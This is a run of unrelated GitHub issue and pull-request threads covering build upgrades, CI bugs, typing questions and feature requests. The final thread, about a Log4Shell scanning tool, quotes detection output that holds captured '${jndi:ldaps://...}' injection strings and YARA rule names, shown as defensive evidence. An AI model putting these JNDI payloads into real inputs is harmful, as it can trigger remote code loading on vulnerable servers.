feat: update to Vaadin 19.0-SNAPSHOT / Flow 6.0.offline-SNAPSHOT

I think we will need to remove the deferrable code, since it's removed from the offline branch.

I agree, but I guess it could also be a separate PR after this one. The intention here was just to update to new versions and only do minimal changes to fix things that got broken by API changes. Or do you think it should be done in this same PR?

I think it has to be done in the same PR, otherwise, there will be compile errors, since the deferrable has been removed from the 6.0.offline branch already.

Meanwhile, there is no hurry to merge this, we can maybe wait until the offline branch is merged to master, and use the next Flow 6.0 alpha version which has the offline features.

We can close this PR, as the master branch is using 19 alpha2, which has the offline features

We can close this PR, as the master branch is using 19 alpha2, which has the offline features


Python Path in R is missing /site-packages/ for Ubuntu 24.04 and Python 3.12

Description
This is related to #10636 and possibly #10781.
This weekend, our CI started failing on Ubuntu with this error message:
 Error in IRkernel::installspec() :
  jupyter-client has to be installed but “jupyter kernelspec --version” exited with code 1.
Execution halted

This is the same error message as we encountered the first time that ubuntu-latest was upgraded to Ubuntu 24.04. Back then, I opened an issue with IRkernel and r-lib, where I summarized the issue in detail and what I tried to work around it. In essence, the issue seems to be that the Python path inside of our Rscript step is not correct on ubuntu-latest-py3.12: the .../site-packages/ directory is missing. If I run jupyter kernelspec --version immediately before starting Rscript, the Python path is fine and the command exits without errors.
I am still not sure what's causing this behavior. Ubuntu 24.04 removed the pre-installed R version, but we're using the latest version of the r-lib/setup-r action, anyway. In the meantime, we started supporting Python 3.13, though, and the same error does not appear there (or on Python 3.11, for that matter; unfortunately, I don't remember if that was the case in October, too). You can see this in the CI of another of our repos: this issue only seems to affect Ubuntu 24.04 and Python 3.12.
With this information, we can already find workarounds (e.g. only use Ubuntu 22.04 for Python 3.12), but I still think this bug should be reported and resolved, if you can. Thanks for your efforts :)
Platforms affected

[ ] Azure DevOps
[X] GitHub Actions - Standard Runners
[ ] GitHub Actions - Larger Runners

Runner images affected

[ ] Ubuntu 20.04
[ ] Ubuntu 22.04
[X] Ubuntu 24.04
[ ] macOS 12
[ ] macOS 13
[ ] macOS 13 Arm64
[ ] macOS 14
[ ] macOS 14 Arm64
[ ] macOS 15
[ ] macOS 15 Arm64
[ ] Windows Server 2019
[ ] Windows Server 2022

Image version and build link
Version: 20241201.1.0
Link (again): https://github.com/iiasa/message_ix/actions/runs/12229324988
Is it regression?
No, the last successful run used Image: ubuntu-22.04   Version: 20241201.1.0.
Expected behavior
The Python path should be the same inside of Rscript as well as outside so that jupyter is recognized properly.
Actual behavior
.../site-packages/ is missing from the path, so jupyter is not found and the command exits with an error.
Repro steps
Please find our workflow file here: https://github.com/iiasa/message_ix/blob/main/.github/workflows/pytest.yaml
If you run the steps in the tutorials workflow, the step Install R dependencies and tutorial requirements will fail with the error message above using the Ubuntu 24.04 version given above and Python 3.12.

Hi @glatterf42 Could you please try the workaround below, I hope it will work for this issue. Thanks.
https://github.com/RaviAkshintala/message_ix/actions/runs/12272921313/workflow#L60
From my side, Install system dependencies for R packages step is passed with the mentioned workaround.
https://github.com/RaviAkshintala/message_ix/actions/runs/12272921313/job/34242660447

Hi @RaviAkshintala, thanks for providing this workaround! I must say that I'm not sure how this made your workflow pass, but I'm glad there is a lead :)
Unfortunately, I wasn't able to reproduce it. This error actually affects two of our repositories: message_ix and ixmp. On message_ix, this is just affecting the tutorials, for which we can almost switch to Python 3.13 to run them. Most likely, the only obstacles are other in-house packages not supporting it yet. So in that repo, I would prefer to implement this solution once it becomes available.
In ixmp, I started a PR implementing your workaround. The workflow file is very similar to message_ix, but something must be different since the run there is still failing: https://github.com/iiasa/ixmp/actions/runs/12294870217?pr=553
Sorry for shifting the target like this, but do you have any idea why your workaround doesn't work in ixmp?

Thanks for your many suggestions :)
I'm sorry but even this latest one does not work. It now gives the original error again, but in the Configure IRkernel step:
 Error in IRkernel::installspec() :
  jupyter-client has to be installed but “jupyter kernelspec --version” exited with code 1.
Execution halted


Add NEON-EMIT notebooks in user_contributed section

Adding initial notebooks for finding coincident NEON and EMIT datasets and visualizing spectral data from both.

Thanks @bhass-neon. These notebooks are great. Changed the base to dev to make a few minor changes so the notebooks also work on Openscapes JupyterLab.


Project created with a new nightly package is requesting an outdated engine

Discord username
No response
What type of issue is this?
Permanent – Occurring repeatably
Is this issue blocking you from using Enso?

[ ] Yes, I can't use Enso because of this issue.

Is this a regression?

[X] Yes, previous version of Enso did not have this issue.

What issue are you facing?
IDE is reporting unsupported Engine version for a project just created with newest nightly.
Expected behaviour
No warning - I have newer version then the one required
How we can reproduce it?
No response
Screenshots or screencasts

Enso Version
nightly 04.05
Browser or standalone distribution
Standalone distribution
Browser Version or standalone distribution
standalone
Operating System
MacOS
Operating System Version
No response
Hardware you are using
No response

I don't believe this is a regression. It has been like that for a while if not from the inception of that version check.

The nightly package from yesterday does not have this issue so it is a regression. It is like that for dev builds where you have dev engine version but for nightlies it was fixed.


Http retries

Hi,
I am seeing requests that I am making sending out subsequent requests very soon after the original.
I am using this library as part of XChange and wanted to make sure there is no implicit logic built into this library for retries?

Hmm maybe related to https://bugs.openjdk.java.net/browse/JDK-6427251

There is no logic for retries in rescu.


Support null safety

For dart apps with version >=2.12, this package can not be used without disabling null safety.
I am willing to the PR the small change if you are still maintaining this project.
Reproduction

Within pubspec.yaml, change environment.sdk from ">=2.7.0 <3.0.0" to ">=2.12.0 <3.0.0".
Update quiver to it's latest version (which is null-safe): dart pub upgrade --major-versions quiver
Try to run the tests with flutter test. See output below:

00:02 +0: loading C:\Users\USERNAME\Documents\GitHub\flutter-dedent\test\dedent_test.dart                                                                                Error: Cannot run with sound null safety, because the following dependencies
don't support null safety:

 - package:quiver

For solutions, see https://dart.dev/go/unsound-null-safety
00:03 +0: loading C:\Users\USERNAME\Documents\GitHub\flutter-dedent\test\dedent_test.dart                                                                                lib/dedent.dart:29:9: Error: Non-nullable variable 'margin' must be assigned before it can be used.
    if (margin == null)
        ^^^^^^
lib/dedent.dart:34:32: Error: Non-nullable variable 'margin' must be assigned before it can be used.
    else if (indent.startsWith(margin)) {
                               ^^^^^^
lib/dedent.dart:39:14: Error: Non-nullable variable 'margin' must be assigned before it can be used.
    else if (margin.startsWith(indent))
             ^^^^^^
lib/dedent.dart:45:21: Error: Non-nullable variable 'margin' must be assigned before it can be used.
      var it = zip([margin.split(''), indent.split('')]).toList();
                    ^^^^^^
lib/dedent.dart:49:17: Error: Non-nullable variable 'margin' must be assigned before it can be used.
              ? margin.length - 1
                ^^^^^^
lib/dedent.dart:51:20: Error: Non-nullable variable 'margin' must be assigned before it can be used.
          margin = margin.substring(0, till);
                   ^^^^^^
lib/dedent.dart:60:16: Error: Non-nullable variable 'margin' must be assigned before it can be used.
  if (debug && margin != '')
               ^^^^^^
lib/dedent.dart:62:44: Error: Non-nullable variable 'margin' must be assigned before it can be used.
      assert(line == "" || line.startsWith(margin),
                                           ^^^^^^
lib/dedent.dart:63:36: Error: Non-nullable variable 'margin' must be assigned before it can be used.
          "line = $line, margin = $margin");
                                   ^^^^^^
lib/dedent.dart:66:7: Error: Non-nullable variable 'margin' must be assigned before it can be used.
  if (margin != "") {
      ^^^^^^
lib/dedent.dart:67:31: Error: Non-nullable variable 'margin' must be assigned before it can be used.
    var r = new RegExp(r"^" + margin,
                              ^^^^^^
00:08 +0 -1: loading C:\Users\USERNAME\Documents\GitHub\flutter-dedent\test\dedent_test.dart [E]
  Failed to load "C:\Users\USERNAME\Documents\GitHub\flutter-dedent\test\dedent_test.dart": Compilation failed for testPath=C:\Users\USERNAME\Documents\GitHub\flutter-dedent\test\dedent_test.dart
00:08 +0 -1: Some tests failed.```

That would be great!

@andrewkolos thank you for your efforts.
See new release 1.0.0 which supports null safety.


Bug: CSSStyleDeclaration bracket notation object accessors throwing type error

Here's a simplified version of my code:
// @flow
function a(element: HTMLElement, cssProperty: string, value: string){
    element.style[cssProperty] = value;
}

I get the following error:
  4:     return element.style[cssProperty]
                              ^^^^^^^^^^^ string. This type is incompatible with
  4:     return element.style[cssProperty]
                ^^^^^^^^^^^^^^^^^^^^^^^^^^ number

Found 1 error

I'm new to Flow, but experienced in JavaScript... However I can't seem to figure out what I'm doing wrong. I've tried using the type Element as well as HTMLElement but I keep getting an error.
My actual code (not the simplified version above) is a small function that animates elements using CSS transitions:
//window[prop] is used to prevent Closure's dead code removal or mangler from ruining my code
window["animate"] = function(element: HTMLElement, property: string, value: string, time: number): void{
    if(element.style.transition){
        element.style.transition = property + " " + time+"ms";
    }else{
        element.style.transition = ", " + property + " " + time+"ms";
    }
    element.style[property] = value;
    setTimeout(function () {
        element.style.transition = "";
    }, time)
};

If you look at DOM declaration file (https://github.com/facebook/flow/blob/master/lib/dom.js#L1239), you'll see that the style property on HTMLElement is of type CSSStyleDeclaration, which is also defined (https://github.com/facebook/flow/blob/master/lib/cssom.js#L74).
...based on this, this is what I tried, but doesn't work (removed the value function param for simplicity of example)...
// @flow
function a(element: HTMLElement, prop: $Keys<CSSStyleDeclaration>) {
  console.log(element.style[prop])
}

If you look at the definition for CSSStyleDeclaration (https://github.com/facebook/flow/blob/master/lib/cssom.js#L376), you'll see that it has a defined object accessor that expects number, not $Keys<CSSStyleDeclaration>.

I know I didn't answer your question, but my understanding is that there is currently no safe way to dynamically mutate this value in Flow or Typescript.
You obviously can do this...
// @flow
function updateBackgroundColor(
  element: HTMLElement,
  value: $PropertyType<CSSStyleDeclaration, 'backgroundColor'>,
) {
  element.style.backgroundColor = value;
}

OR
// @flow
function updateBackgroundColor(
  element: HTMLElement,
  value: string,
) {
  element.style.backgroundColor = value;
}

Running into this issue as well. The hacky workaround I'm using is casting the style object to a regular object:
const nodeStyle: Object = domNode.style;

style[prop] = 'hi';

I thought for sure I was doing something wrong (new to Flow; this is the first type I'm adding to this project), but apparently not? Would love to see this fixed!

@joshwcomeau Have you tested that? Because JavaScript should create a copy of the style object instead of a reference, making the change useless.
I haven' tried your code yet, but I think it won't do anything.

Sorry, never mind. Your solution works, thanks!

It works, but you're removing type safety. Object is the same as any, just bound to {}.

One of possible solutions id to use setProperty/getProperty instead of bracket notation

Duplicate of #4014


refactor(blocking): replace ureq with minreq, update electrsd version

Since ureq still doesn't have an MSRV this PR refactors the blocking esplora client to use minreq.
I also replaced the dependency bitcoin-internals with the new hex-conservative crate.

Rebased on master.

@tnull will open a new PR for this, as we said during the Lib Team Call

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Warning: This coverage report may be inaccurate.
This pull request's base commit is no longer the HEAD commit of its target branch. This means it includes changes from outside the original pull request, including, potentially, unrelated coverage changes.

For more information on this, see Tracking coverage changes with pull request builds.
To avoid this issue with future PRs, see these Recommended CI Configurations.
For a quick fix, rebase this PR at GitHub. Your next report should be accurate.

Details

112 of 149 (75.17%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+6.0%) to 85.361%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/blocking.rs
110
147
74.83%

Totals

Change from base Build<PHONE_NUMBER>:
6.0%

Covered Lines:
898

Relevant Lines:
1052

💛  - Coveralls


fix(runtime-dom): use setAttribute to set DOM prop

close #2801
I don't know why not use setAttribute here,Is there any special reason?
and why should warn prop set TypeError?

I don't think this is a good idea: https://github.com/vuejs/vue-next/issues/2801#issuecomment-743733805
Note changing attributes once the element is already in the dom does nothing for many elements (e.g. input's value)


Make plugin's "on" support |

Issue Description
When i write a plugin, i can use "on" to specify where should it run.
Now, "on" support master/node, HOWEVER, when i want one plugin run on both master and node, i need to write two same plugin, and only "on" is different.
So, i think maybe "on" can support "|" operation, just like "action".
For example, when i specify "master|node", that plugin will run on both master and node.
Type: feature request
Describe what feature you want
Additional context
Add any other context or screenshots about the feature request here.

https://github.com/sealerio/sealer/blob/main/pkg/plugin/utils.go#L37

I'm going to get this done.


ServiceBus: 'properties' added to Rules CorrelationFilter

Description
Added 'properties' to Rules CorrelationFilter Filtertype to support custom filters.
Swagger PR Link:  https://github.com/Azure/azure-rest-api-specs/pull/2730
This checklist is used to make sure that common guidelines for a pull request are followed.

[X] Please add REST spec PR link to the SDK PR
[X] I have read the contribution guidelines.
[X] The pull request does not introduce breaking changes.

General Guidelines

[X] Title of the pull request is clear and informative.
[X] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[X] Pull request includes test coverage for the included changes.

SDK Generation Guidelines

[X] If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
[ ] The generate.cmd file for the SDK has been updated with the version of AutoRest, as well as the commitid of your swagger spec or link to the swagger spec, used to generate the code.
[X] The *.csproj and AssemblyInfo.cs files have been updated with the new version of the SDK.

@dsgouda resolved the review comment, can you please review the changes?


[BEAM-4835] Adding in additional options for BigQueryIO insert statements

Adds in two flags for BigQueryIO.Write, skipInvalidRows and ignoreUnknownValues. These are passed through to the HTTP API. More details in the corresponding JIRA ticket.

Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

It will help us expedite review of your Pull Request if you tag someone (e.g. @username) to look at it.
Post-Commit Tests Status (on master branch)

Lang
SDK
Apex
Dataflow
Flink
Gearpump
Samza
Spark

Go

---
---
---
---
---
---

Java

Python

---

---
---
---
---

Can you update this PR and deal with the merge conflicts?

@lukecwik Rebased and ready to merge.

Thanks for fixing this up, was on vacation.
Consider adding support in a follow-up for filtering invalid rows in the WriteTables transform if the value doesn't match the table schema. Not sure what to recommend in the case where the table is created based upon the rows being inserted.

Also, I added you as a contributor the Apache Beam JIRA project and assigned+resolved BEAM-4835 to you on your behalf.


Private Key JWT or howto authn to API backend?

Hello,
I am trying to integrate our private backend API (FastAPI) with Kusk Gateway with Zitadel, but I haven't been able to make it work.
Are there any plans to support Private Key JWT in Kusk Gateway, so that it could be used between Kusk API Gateway and a backend API (machine to machine) ? Or is it already supported, but I don't understand how it works?
See:
https://oauth.net/private-key-jwt/
https://www.rfc-editor.org/rfc/rfc7523
https://cloudentity.com/developers/basics/oauth-client-authentication/private-key-jwt-client-authentication/
https://developer.okta.com/docs/guides/build-self-signed-jwt/java/main/#build-a-jwt-with-a-private-key
It is different from client_secret authentication, see:
https://oauth.net/2/client-authentication/
Using Private Key is the recommended authn method for API's in Zitadel:
https://zitadel.com/docs/apis/openidoauth/authn-methods#jwt-with-private-key
https://zitadel.com/docs/guides/manage/console/applications#api
In this scenario, no client_secret is entered but an RSA private key that the JWT is signed with in my understanding.
So far in Kusk, I cannot see an option to provide a private key in the configuration for JWT.
The required steps to get this working is:

The client is registered with the private_key_jwt method as the token authentication method.
A public and a private key pair set is prepared on the client-side.
The client’s public key is converted from the PEM format to a jwks (JSON Web Key Set)

As we are using an SPA (Single Page Application), we don't want to store the client_secret on the client side, so my thought was that the clients use Authorization Code with PKCE flow, and for all API requests made by the client to Kusk Gateway. Then use a private key machine to machine between Kusk Gateway and in our case Zitadel for the API authn.
I will attach a diagram (which is somewhat incomplete and might have missed a few steps. I am sure it's incorrect too, but for now I am trying different flows to get it working. This is how I vision it to work at the moment:

My issue is with step 7,8,9 at the moment, where my private API is not authenticated at all, but the Kusk Gateway does (either using private key or client_secret), forwards the request to the backend, and the backend returns the data to the user.
If anyone has any experience using Kusk Gateway and Zitadel, or is willing to try it out, I would be very happy to hear your comments!
Thanks!

Thanks for opening the issue @s0l4r !
We currently don't support private key with the JWT extension. We were actually thinking of adding it.
To unblock you, I believe you'll find the Custom Auth Upstream helpful to solve this problem. Basically, it allows you to write an auth service in whichever language you want and have it integrated with Kusk Gateway. That way, you can really achieve maximum customization with the way you setup auth.
I actually added a Firebase JWT authN example today that could be helpful to look at: https://github.com/kubeshop/kusk-examples/tree/main/with-firebase
Let me know if this solves your problem!


Links to generated documentation

Description
Links to generated documentation
Type of change

Documentation update

Testing steps
N/A

Codecov Report

Merging #169 (02c96b8) into master (2d384d9) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #169   +/-   ##
=======================================
  Coverage   89.35%   89.35%
=======================================
  Files          19       19
  Lines         667      667
=======================================
  Hits          596      596
  Misses         59       59
  Partials       12       12

Impacted Files
Coverage Δ

collections/slices.go
100.00% <ø> (ø)

env/env.go
100.00% <ø> (ø)

http/http.go
100.00% <ø> (ø)

http/metrics_middleware.go
85.00% <ø> (ø)

http/openapi.go
41.66% <ø> (ø)

http/router_utils.go
100.00% <ø> (ø)

metrics/metrics.go
0.00% <ø> (ø)

responses/responses.go
100.00% <ø> (ø)

tests/helpers/errors.go
100.00% <ø> (ø)

tests/helpers/frisby.go
100.00% <ø> (ø)

... and 7 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2d384d9...02c96b8. Read the comment docs.


feat: Add no-duplicate-imports rule

Prerequisites checklist

[x] I have read the contributing guidelines.

What is the purpose of this pull request?
Add a new no-duplicate-imports rule.
What changes did you make? (Give an overview)

Created no-duplicate-imports rule
Added tests for the rule
Added docs for the rule

Related Issues

Is there anything you'd like reviewers to focus on?

We should also add the new rule to plugin.rules, recommended config, and README.

We should add the rule here as well:
https://github.com/eslint/css/blob/c9424e577230de778bdf47242f56e76676bd2e0a/src/index.js#L26-L28


Run full functional tests for CONTAINER_IMAGE component

Also we should get a commit message, so that this is all captured in our release note generation.


Build HTML version of /content?sql=...

This will help make the hook as robust as possible.

#2109

https://github.com/simonw/datasette/issues/2109#issuecomment-1652715823
I've decided to let HTML have its own special context. I'm going to try formalizing that as a @dataclass with fields with metadata={"help": ...} to see what that looks like.

Getting the query page working with all of the necessary HTML context variables is a slog.
I uploaded query.html to Claude and asked it "List of every template context variable with a detailed description of each one":

Based on the template code provided, here is a list of the template context variables and a description of each one:

database - The name of the database being queried.
query - The SQL query object containing the sql string.
canned_query - The name of the canned query if this is a canned query.
private - Boolean indicating if this is a private database.
urls - Object containing URL helpers like database().
canned_write - Boolean indicating if this canned query allows writes.
db_is_immutable - Boolean indicating if this database is immutable.
error - Any query error message.
hide_sql - Boolean indicating if the SQL should be hidden.
show_hide_link - The URL to toggle showing/hiding the SQL.
show_hide_text - The text for the show/hide SQL link.
editable - Boolean indicating if the SQL can be edited.
allow_execute_sql - Boolean indicating if custom SQL can be executed.
tables - List of table objects in the database.
named_parameter_values - Dictionary of parameter names/values.
csrftoken() - Function to generate a CSRF token.
edit_sql_url - URL to edit the SQL for a canned query.
display_rows - List of result rows to display.
columns - List of column names.
renderers - Dictionary of renderer name to URL.
url_csv - URL for CSV export.
metadata - Metadata about the query/database.
crumbs - Breadcrumb navigation object.

So in summary, it includes variables for the database, query, results, URLs, permissions, and metadata to power the template.

Got Claude to generate this code:
from dataclasses import dataclass, field

@dataclass
class QueryContext:
    database: str = field(metadata={"help": "The name of the database being queried"})
    query: dict = field(metadata={"help": "The SQL query object containing the `sql` string"})
    canned_query: str = field(metadata={"help": "The name of the canned query if this is a canned query"})
    private: bool = field(metadata={"help": "Boolean indicating if this is a private database"})
    urls: dict = field(metadata={"help": "Object containing URL helpers like `database()`"})
    canned_write: bool = field(metadata={"help": "Boolean indicating if this canned query allows writes"})
    db_is_immutable: bool = field(metadata={"help": "Boolean indicating if this database is immutable"})
    error: str = field(metadata={"help": "Any query error message"})
    hide_sql: bool = field(metadata={"help": "Boolean indicating if the SQL should be hidden"})
    show_hide_link: str = field(metadata={"help": "The URL to toggle showing/hiding the SQL"})
    show_hide_text: str = field(metadata={"help": "The text for the show/hide SQL link"})
    editable: bool = field(metadata={"help": "Boolean indicating if the SQL can be edited"})
    allow_execute_sql: bool = field(metadata={"help": "Boolean indicating if custom SQL can be executed"})
    tables: list = field(metadata={"help": "List of table objects in the database"})
    named_parameter_values: dict = field(metadata={"help": "Dictionary of parameter names/values"})
    csrftoken: callable = field(metadata={"help": "Function to generate a CSRF token"})
    edit_sql_url: str = field(metadata={"help": "URL to edit the SQL for a canned query"})
    display_rows: list = field(metadata={"help": "List of result rows to display"})
    columns: list = field(metadata={"help": "List of column names"})
    renderers: dict = field(metadata={"help": "Dictionary of renderer name to URL"})
    url_csv: str = field(metadata={"help": "URL for CSV export"})
    metadata: dict = field(metadata={"help": "Metadata about the query/database"})

Maybe I teach datasette.render_template() to take a dataclass instance as an optional alternative to a dictionary, and if it gets one it turns it into something that works well in the template context.


Drop comment deeplink

Why drop it?

A separate deeplink for comments won't be needed by reusing backendAuthMixin on superhero-ui side. I'm planning to finish that later.

@davidyuk what is the state of this PR?

@davidyuk what is the state of this PR?

The comment deeplink is still used on superhero-ui side. But I didn't change my mind about unnecessarily of that.

The comment deeplink is still used on superhero-ui side. But I didn't change my mind about unnecessarily of that.

Closing this as its stale. Lets reopen in the future if needed.

@mradkov should I put my code into issues to don't lose it?


Convert debug code within the resource slot allocation code into a REX_VERIFY

This code is removed and therefore this issue is no longer needed


No tree view id registered

Steps to reproduce:

select explorer view
select contextual layout
it is important that file and line history views are collapsed, so if you don't get it first time, then collapse them and switch between layouts

@akosyakov Are you seeing the same issue in Theia? I'm pretty sure this is a vscode bug, not a GitLens issue.

@eamodio yes, we have similar issue in Theia, but VS Code extension support basically a port from VS Code. probably you are right it has to be fixed in VS Code

Since VS Code (in 1.44) allows the user to move views around, I will be removing the ability to control where the GitLens views are shown -- because it causes issues when the user moves views and tries to use the settings. So once that is removed, this issue will go away.

Fixed in GitLens 11


MISTRAL API KEY TG ERROR: CONNECTION ERROR

Hi, I'm trying to use the mistral api key but always receive the same response.
TG ERROR: CONNECTION ERROR
My version: 0.7.41.
I thinks is the same issue #275 but is closed and I'm already in the latest version
Please help

Indeed, same here, impossible to work with mistral :(


Add permissioned EVM support and overhaul design

In anticipation of this transaction family becoming more complex, I have overhauled the design to be more resilient to change and easier to follow.
Using this new design, I added support for EVM account permissions. For an explanation of how permissions work, do seth permissions -h.

Removed some stray comments

Rebased post name change

My comments were marked as out of date, but please take a look at them and reply.

Removed trailing 0s per @dplumb94's comment

Added a commit to treat EVM errors as an InvalidTransactionError. For example, if the EVM runs out of gas, that is a problem with the transaction, not the EVM.


dev: integrate tokio-console

Time spent on this PR: 14H
Resolves: #1446
Feature

Please check the type of change your PR introduces:

[ ] Bugfix
[x] Feature
[ ] Code style update (formatting, renaming)
[ ] Refactoring (no functional changes, no API changes)
[ ] Build-related changes
[ ] Documentation content changes
[ ] Testing

What is the new behavior?
Enables debugging and profiling for async operations
Does this introduce a breaking change?

[ ] Yes
[x] No

hey @ooochoche thank you for the PR, did you try to run the code locally? I'm not sure this will compile to be honest

@greged93 I'm currently on it. make setup is throwing a long error message
https://github.com/user-attachments/assets/e807a3d5-978d-46a2-80d0-6a811f0cad9b

@ooochoche can you install asdf?

and with asdf you will need to install scarb version 0.7.0 and 2.6.5 I think

Alright, thanks. I'm on it.

@greged93, please can you help me out with your Telegram username so I can chat with you there? I have some questions and I think it will be better.

hey @ooochoche, I think it would be better if someone else takes over who has more experience with Rust and tokio

@greged93 Alright, that's fair enough. If there are less complicated issues, I'm open to working on them. Thank you.


Add missing tests scripts

Add NO_TEST_NEEDED field to makefile which allows you to filter out
files that do not or should not have tests written for them.
Add make target  find-missing-tests.
Add find-missing-tests to CI

Resolves #312

Coverage increased (+1.1%) to 81.329% when pulling 880b385f1b1b8470a61af6bd082233a195c3f926 on without-tests into fc8e861860e66b5b920b432fa08c057c8bd694a7 on master.


Question about the frequency of stress sampling on Instinct2

I noticed that the Instinct2 version collects stress data more rarely than the non-Instinct version.
My Forerunner has a very continuous graph in the activity, whereas on my Instinct2 the graph has gaps.
Instinct2:

Forerunner:

Is this also related to the memory limit of the watch compared to other more capable watches?

I also noticed that on the Instinct2 on the gaps it shows very low stress values, which is interesting...
That never happens in the Forerunner meditation activities.

Hello, I am sorry but stress data is collected automatically by the watch itself and not the app. The Meditate app for Instict2 is only saving HR data to create the HR chart later. All other data is native from the activity and the watch.
Thanks,
Daniel

No problem, I don't mean to make accusations, just trying to figure out why this happens.
I thought stress data and any other data type shown in the activity is measured by the app.
Then it means the Instinct 2 gathers stress data less often.
Thanks for clarifying.


Cyclic type definition for defined types using the same name in spec generation

Problem statement
The spec generated from the source contains cyclic reference when a type in one package is defined in another using the same name, and then used in the swagger spec.
Then, the code generation from that spec hangs.
Swagger specification
This is the generated cyclic swagger spec:
  "definitions": {
    "CreateDomainRequest": {
      "$ref": "#/definitions/CreateDomainRequest"
    },
   ...

Steps to reproduce
In package mongo, I have:
type CreateDomainRequest struct {
   ...
}

In package api, I have:
type CreateDomainRequest mongo.CreateDomainRequest

and
// swagger:parameters createDomain
type createDomainParams struct {
	// in:body
	Body CreateDomainRequest
}

Environment
swagger version:  2a8cd0317828f3674ecfde5439a21b3740564be6
go version: 1.17
OS:   Linux

I'm also facing this issue - did you come across any solution? @bserdar


Validate the incoming TLS connection against the incoming DAT

Currently, the Messaging Services only validates whether the DAT is correct and valid. However, the identity of the sender is not validated.
To do this, the transportCertsSha256 from the DAT must be matched with the fingerprint of the TLS certificate.
Therefore the IDS-Messaging Services (and also all other IDS implementations) must dynamically specify their TLS certifacte fingerprint in a DAT request so that the DAT is issued correctly. The DAT is returned only if the identity of the sender has been validated by the DAPS. Therefore, by matching the DAT with the transport certificate fingerprint, we can ensure, that the identity is checked by the DAPS.
Additionally, the hostname specified under referring Connector in the DAT should match the hostname of the TLS connection. This should also be checked.

must dynamically specify their TLS certifacte fingerprint in a DAT request
Do we already have a claim or other option for this in the DAT request? If not, it would have to be added.

I think it's an ongoing discussion?!
https://github.com/Fraunhofer-AISEC/omejdn-server/issues/38

Related:

https://github.com/International-Data-Spaces-Association/omejdn-daps/issues/21
https://github.com/International-Data-Spaces-Association/omejdn-daps/issues/22

Waiting for a reference implementation in EDC as this is on the schedule there for current milestone planning. Will then adapt that here when the solution is available.

For reference, here is the current proposal for specifying the claims as a request parameter (private repo):
https://github.com/International-Data-Spaces-Association/IDS-G-pre/pull/84

Here's the link to the EDC issue, which is part of the Milestone 4 for the end of the month:
https://github.com/eclipse-dataspaceconnector/DataSpaceConnector/issues/1152


Screensaver paused every time

Photo View seems to work fine in the channel, but I also have it set as My Screensaver. My Roku stays on and I use multiple streaming devices. Ever time I change to my Roku input I have a black screen and “screensaver paused” message.
sometimes the message is that’s phots “expired”
I’d like it always be rotating through photos.

To clarify, the error message on the black screen is:  Screensaver has expired after 12 hours

Please see here: https://www.photoviewapp.com/faq/#timeout


Not creating log file

I can get the program to run setting these:
$env:usrScanScope = 1
$env:usrUpdateDefs = "True"
$env:usrMitigate = 'Y'
But it then says this after running for a while.  I did create the folder CentraStage, no change, even created the txt file and it did see it and renamed it:
An existing L4JDetections.txt file was found. It has been renamed to:
1639566719-L4JDetections.txt
Evidence of one or more Log4Shell attack attempts has been found on the system.
The location of the files demonstrating this are noted in the following log:
C:\ProgramData\CentraStage\L4Jdetections.txt
Is there something else that is needed to get this to create/post to the log file to see what its detecting?

Hi Reconone;
It's true that an oversight means unless the C:\ProgramData\CentraStage folder is created the log.txt and L4JDetections.txt files will not be made; however, we don't consider this to be a game-ender, and I'll explain why in a moment.
Before I do, I'll note that the script appears not only to have made an initial L4JDetections.txt file, but to have seen it on a second run and renamed it so it can make a second. This tells me that the files are there, you just can't see them for whatever reason. Can PowerShell? If you do ls $env:programData\CentraStage what comes up? You can type cat L4JDetections.txt from that same directory to type the contents of the files so you can get the data even if Explorer can't.
Onto why we aren't seeing this logging issue as a wrecking error: The log.txt file shows the file listing of every file scanned. The L4JDetections.txt file contains the file paths of every file we found to be problematic for whatever reason, and this is where the value is; however, the same data is included in the output. There is no data that is included in the detections file that is omitted from the StdOut, you haven't missed anything.
I attach a StdOut from an earlier version of the script here; you can see what it looks like when you have positive searches both from JAR scans and from YARA output. If you're seeing one but not the other of these in your output, it's because nothing was found.
Log4j/Log4Shell CVE-2021-44228 Scanning/Mitigation Tool (seagull/Datto)
=======================================================================
Set up a File/Folder Size Monitor against devices
(File/s named C:\ProgramData\CentraStage\L4Jdetections.txt : is over : 0MB)
to alert proactively if this Component reports signs of infection.
=======================================================================
- Log4j 2.10+ exploit mitigation (LOG4J_FORMAT_MSG_NO_LOOKUPS) already set.
- Scan scope: Home Drive
- New YARA definitions downloaded.
- Verified presence of yara32.exe.
- Verified presence of yara64.exe.
=====================================================
- Scanning for JAR files containing insecure Log4j code...
! ALERT: Vulnerabile file at C:\Users\slee\Desktop\vuln\log4j-core-2.9.0.jar!
=====================================================
- Scanning LOGs, TXTs and JARs with YARA...
=====================================================
! DETECTION:
EXPL_Log4j_CVE_2021_44228_Dec21_Soft C:\Program Files (x86)\CentraStage\log.txt 0x16042:$: ${jndi:ldaps:/ 0x16059:$: ${jndi:ldaps:/ 0x16125:$: ${jndi:ldaps:/ 0x1616a:$: ${jndi:ldaps:/ EXPL_Log4j_CVE_2021_44228_Dec21_OBFUSC C:\Program Files (x86)\CentraStage\log.txt 0x160c2:$x1: $%7Bjndi: EXPL_Log4j_CVE_2021_44228_Dec21_Hard C:\Program Files (x86)\CentraStage\log.txt 0x16125:$x1: ${jndi:ldaps://d03e2367.probe001.log4j.leakix.net:12042/b} 0x1616a:$x1: ${jndi:ldaps://d03e2367.probe001.log4j.leakix.net:12042/b}
=====================================================
! DETECTION:
